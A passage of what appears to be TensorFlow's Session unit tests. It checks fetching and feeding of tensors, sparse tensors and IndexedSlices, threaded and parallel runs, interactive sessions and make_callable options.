results_with_dict['a'][0]) self.assertAllEqual([[2.0, 2.0, 2.0], [2.0, 2.0, 2.0]], results_with_dict['b']) self.assertAllEqual(results_with_dict['a'][0], results_with_dict['z'][0]) self.assertAllEqual(results_with_dict['b'], results_with_dict['z'][1]) # Test nested structures results_with_nested_list = s.run([[[a, b], b], a, [a, b]]) self.assertAllEqual([[1.0, 1.0]], results_with_nested_list[0][0][0]) self.assertAllEqual([[2.0, 2.0, 2.0], [2.0, 2.0, 2.0]], results_with_nested_list[0][0][1]) self.assertAllEqual(results_with_nested_list[0][0][0], results_with_nested_list[1]) self.assertAllEqual(results_with_nested_list[1], results_with_nested_list[2][0]) self.assertAllEqual(results_with_nested_list[0][0][1], results_with_nested_list[0][1]) self.assertAllEqual(results_with_nested_list[0][1], results_with_nested_list[2][1]) def testFetchScalar(self): with session.Session() as s: for scalar in np.int32, np.int64, np.float16, np.float32, np.float64: x = scalar(7) y = scalar(8) tf_x = constant_op.constant(x, shape=[]) tf_y = constant_op.constant(y) tf_xy = math_ops.add(tf_x, tf_y) # Single fetch xy = s.run(tf_xy) self.assertEqual(scalar, type(xy)) self.assertEqual(x + y, xy) # List fetch xy, = s.run([tf_xy]) self.assertEqual(scalar, type(xy)) self.assertEqual(x + y, xy) # Dict fetch xy = s.run({'xy': tf_xy})['xy'] self.assertEqual(scalar, type(xy)) self.assertEqual(x + y, xy) # Nested list fetch xy = s.run([[[tf_xy]], tf_xy, [tf_xy]]) self.assertAllEqual(xy, [[[x + y]], x + y, [x + y]]) self.assertEqual(scalar, type(xy[0][0][0])) self.assertEqual(scalar, type(xy[1])) self.assertEqual(scalar, type(xy[2][0])) def testFetchOperationObject(self): with session.Session() as s: a = constant_op.constant(1.0, shape=[1, 2]) v = variables.Variable(a, name='testFetchOperationObject_v') s.run(v.initializer) v_val = s.run(v) self.assertAllEqual([[1.0, 1.0]], v_val) def testFetchSparseTensor(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) shape = np.array([7, 9, 2]).astype(np.int64) sp = sparse_tensor.SparseTensor( constant_op.constant(indices), constant_op.constant(values), constant_op.constant(shape)) # Single fetch, use as tuple sp_out = s.run(sp) indices_out, values_out, shape_out = sp_out self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Single fetch, use as SparseTensorValue sp_out = s.run(sp) self.assertAllEqual(sp_out.indices, indices) self.assertAllEqual(sp_out.values, values) self.assertAllEqual(sp_out.dense_shape, shape) # Tuple fetch, use as tuple indices_out, values_out, shape_out = s.run(sp) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # List fetch, use as tuple (indices_out, values_out, shape_out), = s.run([sp]) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # List fetch, use as SparseTensorValue sp_out, = s.run([sp]) self.assertAllEqual(sp_out.indices, indices) self.assertAllEqual(sp_out.values, values) self.assertAllEqual(sp_out.dense_shape, shape) # Dict fetch (single value), use as tuple indices_out, values_out, shape_out = s.run({'sp': sp})['sp'] self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Dict fetch (list value), use as tuple (indices_out, values_out, shape_out), = s.run({'sp': [sp]})['sp'] self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Dict fetch, use as SparseTensorValue sp_out = s.run({'sp': sp})['sp'] self.assertAllEqual(sp_out.indices, indices) self.assertAllEqual(sp_out.values, values) self.assertAllEqual(sp_out.dense_shape, shape) # Nested list fetch use as tuple sp_out = s.run([[[sp]], sp]) indices_out, values_out, shape_out = sp_out[0][0][0] self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) indices_out, values_out, shape_out = sp_out[1] self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Nested list fetch, use as SparseTensorValue sp_out = s.run([[[sp]], sp]) self.assertAllEqual(sp_out[0][0][0].indices, indices) self.assertAllEqual(sp_out[0][0][0].values, values) self.assertAllEqual(sp_out[0][0][0].dense_shape, shape) self.assertAllEqual(sp_out[1].indices, indices) self.assertAllEqual(sp_out[1].values, values) self.assertAllEqual(sp_out[1].dense_shape, shape) def testFeedSparseTensor(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) shape = np.array([7, 9, 2]).astype(np.int64) sp = sparse_tensor.SparseTensor( array_ops.placeholder(dtype=np.int64, shape=(2, 3)), array_ops.placeholder(dtype=np.float32, shape=(2,)), array_ops.placeholder(dtype=np.int64, shape=(3,)), ) sp_indices = array_ops.identity(sp.indices) sp_values = array_ops.identity(sp.values) sp_shape = array_ops.identity(sp.dense_shape) sp2 = sparse_tensor.SparseTensor(sp_indices, sp_values, sp_shape) # Feed with tuple indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: (indices, values, shape) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Feed with tuple, fetch sp directly sp_out = s.run(sp, {sp: (indices, values, shape)}) self.assertAllEqual(sp_out.indices, indices) self.assertAllEqual(sp_out.values, values) self.assertAllEqual(sp_out.dense_shape, shape) # Feed with SparseTensorValue indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Feed with SparseTensorValue, fetch SparseTensorValue sp2_out = s.run(sp2, { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(sp2_out.indices, indices) self.assertAllEqual(sp2_out.values, values) self.assertAllEqual(sp2_out.dense_shape, shape) # Feed SparseTensorValue and fetch sp directly. sp_out = s.run(sp, { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(sp_out.indices, indices) self.assertAllEqual(sp_out.values, values) self.assertAllEqual(sp_out.dense_shape, shape) def testFeedSparsePlaceholder(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) shape = np.array([7, 9, 2]).astype(np.int64) sp = array_ops.sparse_placeholder(dtype=np.float32, name='placeholder1') sp_indices = array_ops.identity(sp.indices) sp_values = array_ops.identity(sp.values) sp_shape = array_ops.identity(sp.dense_shape) sp2 = sparse_tensor.SparseTensor(sp_indices, sp_values, sp_shape) # Feed with tuple indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: (indices, values, shape) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Feed with SparseTensorValue indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Feed with SparseTensorValue, fetch SparseTensorValue sp2_out = s.run(sp2, { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(sp2_out.indices, indices) self.assertAllEqual(sp2_out.values, values) self.assertAllEqual(sp2_out.dense_shape, shape) def testFeedSparsePlaceholderPartialShape(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) shape = np.array([7, 9, 2]).astype(np.int64) sp = array_ops.sparse_placeholder( shape=[None, 9, 2], dtype=np.float32, name='placeholder1') sp_indices = array_ops.identity(sp.indices) sp_values = array_ops.identity(sp.values) sp_shape = array_ops.identity(sp.dense_shape) sp2 = sparse_tensor.SparseTensor(sp_indices, sp_values, sp_shape) # Feed with tuple indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: (indices, values, shape) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Feed with SparseTensorValue indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) # Feed with SparseTensorValue, fetch SparseTensorValue sp2_out = s.run(sp2, { sp: sparse_tensor.SparseTensorValue(indices, values, shape) }) self.assertAllEqual(sp2_out.indices, indices) self.assertAllEqual(sp2_out.values, values) self.assertAllEqual(sp2_out.dense_shape, shape) def testFeedSparsePlaceholderConstantShape(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) shape = np.array([7, 9, 2]).astype(np.int64) sp = array_ops.sparse_placeholder( dtype=np.float32, shape=shape, name='placeholder1') self.assertAllEqual(sp.dense_shape.eval(session=s), shape) self.assertAllEqual(tensor_util.constant_value(sp.dense_shape), shape) sp_indices = array_ops.identity(sp.indices) sp_values = array_ops.identity(sp.values) sp_shape = array_ops.identity(sp.dense_shape) # Feed with tuple indices_out, values_out, shape_out = s.run( [sp_indices, sp_values, sp_shape], { sp: (indices, values) }) self.assertAllEqual(indices_out, indices) self.assertAllEqual(values_out, values) self.assertAllEqual(shape_out, shape) def testFetchIndexedSlices(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) dense_shape = np.array([7, 9, 2]).astype(np.int64) ind = ops.IndexedSlices( constant_op.constant(values), constant_op.constant(indices), constant_op.constant(dense_shape)) # Single fetch, use as tuple ind_out = s.run(ind) values_out, indices_out, dense_shape_out = ind_out self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # Single fetch, use as IndexedSlicesValue ind_out = s.run(ind) self.assertAllEqual(ind_out.values, values) self.assertAllEqual(ind_out.indices, indices) self.assertAllEqual(ind_out.dense_shape, dense_shape) # Tuple fetch, use as tuple values_out, indices_out, dense_shape_out = s.run(ind) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # List fetch, use as tuple (values_out, indices_out, dense_shape_out), = s.run([ind]) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # List fetch, use as IndexedSlicesValue ind_out, = s.run([ind]) self.assertAllEqual(ind_out.values, values) self.assertAllEqual(ind_out.indices, indices) self.assertAllEqual(ind_out.dense_shape, dense_shape) def testFeedIndexedSlices(self): with session.Session() as s: values = np.array([1.0, 2.0]).astype(np.float32) indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) dense_shape = np.array([7, 9, 2]).astype(np.int64) ind = ops.IndexedSlices( array_ops.placeholder(dtype=np.float32, shape=(2,)), array_ops.placeholder(dtype=np.int64, shape=(2, 3)), array_ops.placeholder(dtype=np.int64, shape=(3,)), ) ind_values = array_ops.identity(ind.values) ind_indices = array_ops.identity(ind.indices) ind_dense_shape = array_ops.identity(ind.dense_shape) ind2 = ops.IndexedSlices(ind_values, ind_indices, ind_dense_shape) # Feed with tuple values_out, indices_out, dense_shape_out = s.run( [ind_values, ind_indices, ind_dense_shape], { ind: (values, indices, dense_shape) }) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # Feed with IndexedSlicesValue values_out, indices_out, dense_shape_out = s.run( [ind_values, ind_indices, ind_dense_shape], { ind: ops.IndexedSlicesValue(values, indices, dense_shape) }) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # Feed with IndexedSlicesValue, fetch IndexedSlicesValue ind2_out = s.run(ind2, { ind: ops.IndexedSlicesValue(values, indices, dense_shape) }) self.assertAllEqual(ind2_out.values, values) self.assertAllEqual(ind2_out.indices, indices) self.assertAllEqual(ind2_out.dense_shape, dense_shape) def testFetchIndexedSlicesWithoutDenseShape(self): with session.Session() as s: indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) values = np.array([1.0, 2.0]).astype(np.float32) dense_shape = None ind = ops.IndexedSlices( constant_op.constant(values), constant_op.constant(indices), None) # Single fetch, use as tuple ind_out = s.run(ind) values_out, indices_out, dense_shape_out = ind_out self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # Single fetch, use as IndexedSlicesValue ind_out = s.run(ind) self.assertAllEqual(ind_out.values, values) self.assertAllEqual(ind_out.indices, indices) self.assertAllEqual(ind_out.dense_shape, dense_shape) # Tuple fetch, use as tuple values_out, indices_out, dense_shape_out = s.run(ind) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # List fetch, use as tuple (values_out, indices_out, dense_shape_out), = s.run([ind]) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) self.assertAllEqual(dense_shape_out, dense_shape) # List fetch, use as IndexedSlicesValue ind_out, = s.run([ind]) self.assertAllEqual(ind_out.values, values) self.assertAllEqual(ind_out.indices, indices) self.assertAllEqual(ind_out.dense_shape, dense_shape) def testFeedIndexedSlicesWithoutDenseShape(self): with session.Session() as s: values = np.array([1.0, 2.0]).astype(np.float32) indices = np.array([[3, 2, 0], [4, 5, 1]]).astype(np.int64) dense_shape = None ind = ops.IndexedSlices( array_ops.placeholder(dtype=np.float32, shape=(2,)), array_ops.placeholder(dtype=np.int64, shape=(2, 3)), None) ind_values = array_ops.identity(ind.values) ind_indices = array_ops.identity(ind.indices) ind2 = ops.IndexedSlices(ind_values, ind_indices) # Feed with tuple values_out, indices_out = s.run([ind_values, ind_indices], { ind: (values, indices) }) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) # Feed with IndexedSlicesValue values_out, indices_out = s.run([ind_values, ind_indices], { ind: ops.IndexedSlicesValue(values, indices, dense_shape) }) self.assertAllEqual(values_out, values) self.assertAllEqual(indices_out, indices) # Feed with IndexedSlicesValue, fetch IndexedSlicesValue ind2_out = s.run(ind2, { ind: ops.IndexedSlicesValue(values, indices, dense_shape) }) self.assertAllEqual(ind2_out.values, values) self.assertAllEqual(ind2_out.indices, indices) self.assertAllEqual(ind2_out.dense_shape, dense_shape) def testExtendWithStatelessOperations(self): with session.Session() as s: a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) c_val = s.run(c) self.assertAllEqual([[4.0, 4.0, 4.0]], c_val) d = constant_op.constant([1.0, 2.0, 3.0], shape=[3, 1]) e = math_ops.matmul(c, d) # Extend will happen here. e_val = s.run(e) self.assertAllEqual([[24.0]], e_val) def testExtendWithStatefulOperations(self): with session.Session() as s: a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) v = variables.Variable(c, name='testExtendWithStatefulOperations_v') v.initializer.run() v_val = v.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], v_val) d = constant_op.constant(3.0, shape=[2, 3]) e = math_ops.matmul(a, d) assign_e_to_v = state_ops.assign(v, e) # Extend will happen here. e_val = e.eval() self.assertAllEqual([[6.0, 6.0, 6.0]], e_val) v_val = v.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], v_val) s.run(assign_e_to_v) v_val = v.eval() self.assertAllEqual([[6.0, 6.0, 6.0]], v_val) def testExtendWithGroupBy(self): with session.Session() as s: a = constant_op.constant(1.0, shape=[1, 2]) p = variables.Variable(a, name='testExtendWithGroupBy_p') a_val = a.eval() # Force an Extend after this op. self.assertAllEqual([[1.0, 1.0]], a_val) b = constant_op.constant(2.0, shape=[1, 2]) q = variables.Variable(b, name='testExtendWithGroupBy_q') # Extend will happen here. init = control_flow_ops.group(p.initializer, q.initializer) s.run(init) p_val, q_val = s.run([p, q]) self.assertAllEqual([[1.0, 1.0]], p_val) self.assertAllEqual([[2.0, 2.0]], q_val) def testTensorGetMethod(self): with session.Session(): a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) c_val = c.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], c_val) fed_c_val = c.eval(feed_dict={a.name: [[4.0, 4.0]]}) self.assertAllEqual([[16.0, 16.0, 16.0]], fed_c_val) def testOperationRunMethod(self): with session.Session(): a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[1, 2], name='b') v = variables.Variable(a, a.dtype) assign_a_to_v = state_ops.assign(v, a) assign_a_to_v.eval() v_val = v.eval() self.assertAllEqual([[1.0, 1.0]], v_val) assign_b_to_v = state_ops.assign(v, b) assign_b_to_v.eval() v_val = v.eval() self.assertAllEqual([[2.0, 2.0]], v_val) assign_b_to_v.eval(feed_dict={'b:0': [[3.0, 3.0]]}) v_val = v.eval() self.assertAllEqual([[3.0, 3.0]], v_val) def testDefaultGraph(self): with session.Session() as s: self.assertEqual(ops.get_default_graph(), s.graph) a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) self.assertEqual(ops.get_default_graph(), a.graph) self.assertEqual(ops.get_default_graph(), b.graph) c = math_ops.matmul(a, b) v = variables.Variable(c, name='testDefaultGraph_v') v.initializer.run() v_val = v.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], v_val) d = constant_op.constant(3.0, shape=[2, 3]) e = math_ops.matmul(a, d) assign_e_to_v = state_ops.assign(v, e) e_val = e.eval() self.assertAllEqual([[6.0, 6.0, 6.0]], e_val) v_val = v.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], v_val) s.run(assign_e_to_v) v_val = v.eval() self.assertAllEqual([[6.0, 6.0, 6.0]], v_val) self.assertEqual(ops.get_default_graph(), s.graph) def _testDefaultGraphInThread(self, constructed_event, continue_event, i): with session.Session() as s: self.assertEqual(ops.get_default_graph(), s.graph) a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) v = variables.Variable(c, name='var_%d' % i) # Block here until all threads have constructed their graph. constructed_event.set() continue_event.wait() assign_c_to_v = state_ops.assign(v, c) v.initializer.run() assign_c_to_v.eval() v_val = v.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], v_val) d = constant_op.constant(3.0, shape=[2, 3]) e = math_ops.matmul(a, d) assign_e_to_v = state_ops.assign(v, e) e_val = e.eval() self.assertAllEqual([[6.0, 6.0, 6.0]], e_val) v_val = v.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], v_val) s.run(assign_e_to_v) v_val = v.eval() self.assertAllEqual([[6.0, 6.0, 6.0]], v_val) self.assertEqual(ops.get_default_graph(), s.graph) def testDefaultGraphWithThreads(self): # Fork ten threads that use their thread-local default graph. threads = [] constructed_events = [threading.Event() for _ in range(10)] continue_event = threading.Event() for i, constructed_event in enumerate(constructed_events): t = self.checkedThread( target=self._testDefaultGraphInThread, args=(constructed_event, continue_event, i)) threads.append(t) for t in threads: t.start() for constructed_event in constructed_events: constructed_event.wait() continue_event.set() for t in threads: t.join() def testParallelRun(self): with session.Session() as sess: c = constant_op.constant(5.0) ev = threading.Event() def run_step(): ev.wait() val = c.eval(session=sess) self.assertEqual(val, 5.0) threads = [self.checkedThread(target=run_step) for _ in range(100)] for t in threads: t.start() ev.set() for t in threads: t.join() @staticmethod def _build_graph(): time.sleep(random.random() * 0.1) # Do some graph construction. Try to exercise non-trivial paths. graph = ops.get_default_graph() gdef = None for _ in range(10): x = array_ops.placeholder(dtype=dtypes.float32) with ops.colocate_with(x): y = array_ops.placeholder(dtype=dtypes.float32) with ops.device('/cpu:0'): z = control_flow_ops.while_loop( lambda x, y: x < 10, lambda x, y: (x + 1, x * y), [x, y]) with graph._attr_scope({'_a': attr_value_pb2.AttrValue(b=False)}): gradients_impl.gradients(z, [x, y]) if gdef is None: gdef = graph.as_graph_def() else: importer.import_graph_def(gdef, name='import') def testParallelRunAndSingleBuild(self): with session.Session() as sess: c = constant_op.constant(5.0) stop = threading.Event() def run_loop(): while not stop.is_set(): time.sleep(random.random() * 0.1) self.assertEqual(sess.run(c), 5.0) threads = [self.checkedThread(target=run_loop) for _ in range(10)] for t in threads: t.start() SessionTest._build_graph() stop.set() for t in threads: t.join() def testParallelRunAndParallelBuild(self): with session.Session() as sess: c = constant_op.constant(5.0) stop = threading.Event() def run_loop(): while not stop.is_set(): time.sleep(random.random() * 0.1) self.assertEqual(sess.run(c), 5.0) run_threads = [self.checkedThread(target=run_loop) for _ in range(10)] for t in run_threads: t.start() build_threads = [self.checkedThread(target=SessionTest._build_graph) for _ in range(10)] for t in build_threads: t.start() for t in build_threads: t.join() # Let the run_threads run until the build threads are finished. stop.set() for t in run_threads: t.join() def testRunFeedDict(self): with session.Session() as s: x = array_ops.zeros([2]) y = s.run(2 * x, feed_dict={x: np.ones(2).astype(np.float32)}) self.assertAllEqual(y, 2 * np.ones(2)) y = s.run(2 * x, feed_dict={x.name: np.ones(2).astype(np.float32)}) self.assertAllEqual(y, 2 * np.ones(2)) y = s.run(2 * x, feed_dict={x: [1, 1]}) assert (y == 2 * np.ones(2)).all() # Test nested tuple keys z = (((array_ops.zeros([2]),),), array_ops.zeros([2]), (array_ops.zeros([2]),)) result = [z[0][0][0] * 2, z[1] * 2, z[2][0] * 2] values = (((np.array([1, 1]),),), np.array([2, 2]), (np.array([3, 3]),)) result_value = s.run(result, feed_dict={z: values}) self.assertAllEqual(result_value[0], 2 * np.ones(2)) self.assertAllEqual(result_value[1], 2 * np.array([2, 2])) self.assertAllEqual(result_value[2], 2 * np.array([3, 3])) def testGraphDef(self): with session.Session() as sess: self.assertProtoEquals('versions { producer: %d min_consumer: %d }' % (versions.GRAPH_DEF_VERSION, versions.GRAPH_DEF_VERSION_MIN_CONSUMER), sess.graph_def) c = constant_op.constant(5.0, name='c') self.assertEquals(len(sess.graph_def.node), 1) d = constant_op.constant(6.0, name='d') self.assertEquals(len(sess.graph_def.node), 2) self.assertAllEqual(c.eval(), 5.0) self.assertAllEqual(d.eval(), 6.0) e = constant_op.constant(7.0, name='e') self.assertEquals(len(sess.graph_def.node), 3) self.assertAllEqual(e.eval(), 7.0) def testUseAfterClose(self): with session.Session() as sess: c = constant_op.constant(5.0) self.assertAllEqual(sess.run(c), 5.0) with self.assertRaisesWithPredicateMatch( RuntimeError, lambda e: 'Attempted to use a closed Session.' in str(e)): sess.run(c) def testUseAfterCloseConcurrent(self): with session.Session() as sess: c = constant_op.constant(5.0) self.assertAllEqual(sess.run(c), 5.0) def update_thread(): with self.assertRaisesWithPredicateMatch( RuntimeError, lambda e: 'Attempted to use a closed Session.' in str(e)): while True: sess.run(c) t = threading.Thread(target=update_thread) t.start() time.sleep(0.1) sess.close() t.join() def testUseEmptyGraph(self): with session.Session() as sess: with self.assertRaisesRegexp(RuntimeError, 'The Session graph is empty.'): sess.run([]) with self.assertRaisesRegexp(RuntimeError, 'The Session graph is empty.'): sess.run(()) with self.assertRaisesRegexp(RuntimeError, 'The Session graph is empty.'): sess.run({}) def testNotEntered(self): # pylint: disable=protected-access self.assertEqual(ops._default_session_stack.get_default(), None) # pylint: enable=protected-access with ops.device('/cpu:0'): sess = session.Session() c_1 = constant_op.constant(5.0) with sess.graph.as_default(): c_2 = constant_op.constant(5.0) self.assertEqual(c_1.graph, c_2.graph) self.assertEqual(sess.run(c_2), 5.0) with self.assertRaisesWithPredicateMatch( ValueError, lambda e: 'No default session is registered.' in str(e)): c_2.eval() def testInteractive(self): with ops.device('/cpu:0'): sess = session.InteractiveSession() a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) self.assertAllEqual([[4.0, 4.0, 4.0]], c.eval()) d = constant_op.constant([1.0, 2.0, 3.0], shape=[3, 1]) e = math_ops.matmul(c, d) self.assertAllEqual([[24.0]], e.eval()) sess.close() def testMultipleInteractiveSessionsWarning(self): # Reinitialize the global state to ensure that the expected warnings will # be emitted. session.InteractiveSession._active_session_count = 0 # pylint: disable=protected-access sess = session.InteractiveSession() sess.run(constant_op.constant(4.0)) # Run so that the session is "opened". sess.close() # Opening and closing interactive sessions serially should not warn. with warnings.catch_warnings(record=True) as w: sess = session.InteractiveSession() sess.close() self.assertEqual(0, len(w)) with warnings.catch_warnings(record=True) as w: sess = session.InteractiveSession() self.assertEqual(0, len(w)) with warnings.catch_warnings(record=True) as w: sess2 = session.InteractiveSession() self.assertEqual(1, len(w)) self.assertTrue('An interactive session is already active. This can cause ' 'out-of-memory errors in some cases. You must explicitly ' 'call `InteractiveSession.close()` to release resources ' 'held by the other session(s).' in str(w[0].message)) sess2.close() sess.close() def testInteractivePlacePrunedGraph(self): sess = session.InteractiveSession() # Build a graph that has a bad op in it (no kernel). # # This test currently does not link in any GPU kernels, # which is why placing this is invalid. If at some point # GPU kernels are added to this test, some other different # op / device combo should be chosen. with ops.device('/device:GPU:0'): a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(1.0, shape=[1, 2]) # Only run the valid op, this should work. b.eval() with self.assertRaises(errors.InvalidArgumentError): a.eval() sess.close() def testDefaultSessionPlacePrunedGraph(self): sess = session.Session() # Build a graph that has a bad op in it (no kernel). # # This test currently does not link in any GPU kernels, # which is why placing this is invalid. If at some point # GPU kernels are added to this test, some other different # op / device combo should be chosen. with ops.device('/device:GPU:0'): _ = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(1.0, shape=[1, 2]) with self.assertRaises(errors.InvalidArgumentError): # Even though we don't run the bad op, we place the entire # graph, which should fail with a non-interactive session. sess.run(b) sess.close() def testSharedGraph(self): with ops.Graph().as_default() as g, ops.device('/cpu:0'): a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) with session.Session(graph=g) as sess1: with session.Session(graph=g) as sess2: self.assertAllEqual(sess1.run(c), sess2.run(c)) def testDuplicatedInputs(self): with session.Session() as sess: a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[1, 3]) a_val, b_val, a2_val = sess.run([a, b, a]) self.assertAllEqual(a_val, [[1.0, 1.0]]) self.assertAllEqual(b_val, [[2.0, 2.0, 2.0]]) self.assertAllEqual(a2_val, [[1.0, 1.0]]) def testFeedAndFetch(self): with session.Session() as sess: for dtype in [ dtypes.float16, dtypes.float32, dtypes.float64, dtypes.int32, dtypes.uint8, dtypes.int16, dtypes.int8, dtypes.int64, dtypes.bool, dtypes.complex64, dtypes.complex128 ]: for shape in [(32, 4, 128), (37,), (2, 0, 6), (0, 0, 0)]: np_dtype = dtype.as_numpy_dtype feed_t = array_ops.placeholder(dtype=dtype, shape=shape) out_t = array_ops.identity(feed_t) np_array = np.random.randint(-10, 10, shape) if dtype == dtypes.bool: np_array = np_array > 0 elif dtype == dtypes.complex64: np_array = np.sqrt(np_array.astype(np_dtype)) elif dtype == dtypes.complex64: np_array = np.sqrt(np_array.astype(np_dtype)) else: np_array = np_array.astype(np_dtype) self.assertAllEqual(np_array, sess.run(out_t, feed_dict={ feed_t: np_array })) # Check that we can also get the feed back. self.assertAllEqual(np_array, sess.run(feed_t, feed_dict={ feed_t: np_array })) # Also check that we can get both back. out_v, feed_v = sess.run( [out_t, feed_t], feed_dict={ feed_t: np_array }) self.assertAllEqual(np_array, out_v) self.assertAllEqual(np_array, feed_v) feed_fetch_runner = sess.make_callable([out_t, feed_t], [feed_t]) out_v, feed_v = feed_fetch_runner(np_array) self.assertAllEqual(np_array, out_v) self.assertAllEqual(np_array, feed_v) def testMakeCallableOnTensorWithRunOptions(self): with session.Session() as sess: a = constant_op.constant(42.0) tensor_runner = sess.make_callable(a, accept_options=True) run_options = config_pb2.RunOptions( trace_level=config_pb2.RunOptions.FULL_TRACE) run_metadata = config_pb2.RunMetadata() self.assertEqual(0, len(run_metadata.step_stats.dev_stats)) res = tensor_runner(options=run_options, run_metadata=run_metadata) self.assertEqual(42.0, res) self.assertGreater(len(run_metadata.step_stats.dev_stats), 0) def testMakeCallableOnOperationWithRunOptions(self): with session.Session() as sess: a = variables.Variable(42.0) b = state_ops.assign_add(a, 1.0) sess.run(a.initializer) tensor_runner = sess.make_callable(b.op, accept_options=True) run_options = config_pb2.RunOptions( trace_level=config_pb2.RunOptions.FULL_TRACE) run_metadata = config_pb2.RunMetadata() self.assertEqual(0, len(run_metadata.step_stats.dev_stats)) tensor_runner(options=run_options, run_metadata=run_metadata) self.assertEqual(43.0, sess.run(a)) self.assertGreater(len(run_metadata.step_stats.dev_stats), 0) def testMakeCallableWithFeedListAndRunOptions(self): with session.Session() as sess: ph = array_ops.placeholder(dtypes.float32) a = math_ops.add(ph, 1.0) tensor_runner = sess.make_callable( a, feed_list=[ph.name], accept_options=True) run_options = config_pb2.RunOptions( trace_level=config_pb2.RunOptions.FULL_TRACE) run_metadata = config_pb2.RunMetadata() self.assertEqual(0, len(run_metadata.step_stats.dev_stats)) self.assertAllClose(42.0, tensor_runner( 41.0, options=run_options, run_metadata=run_metadata)) self.assertGreater(len(run_metadata.step_stats.dev_stats), 0) def testOptimizedMakeCallable(self): with session.Session() as sess: ph = array_ops.placeholder(dtypes.float32) a = math_ops.add(ph, 1.0) callable_opts = config_pb2.CallableOptions() callable_opts.feed.append(ph.name) 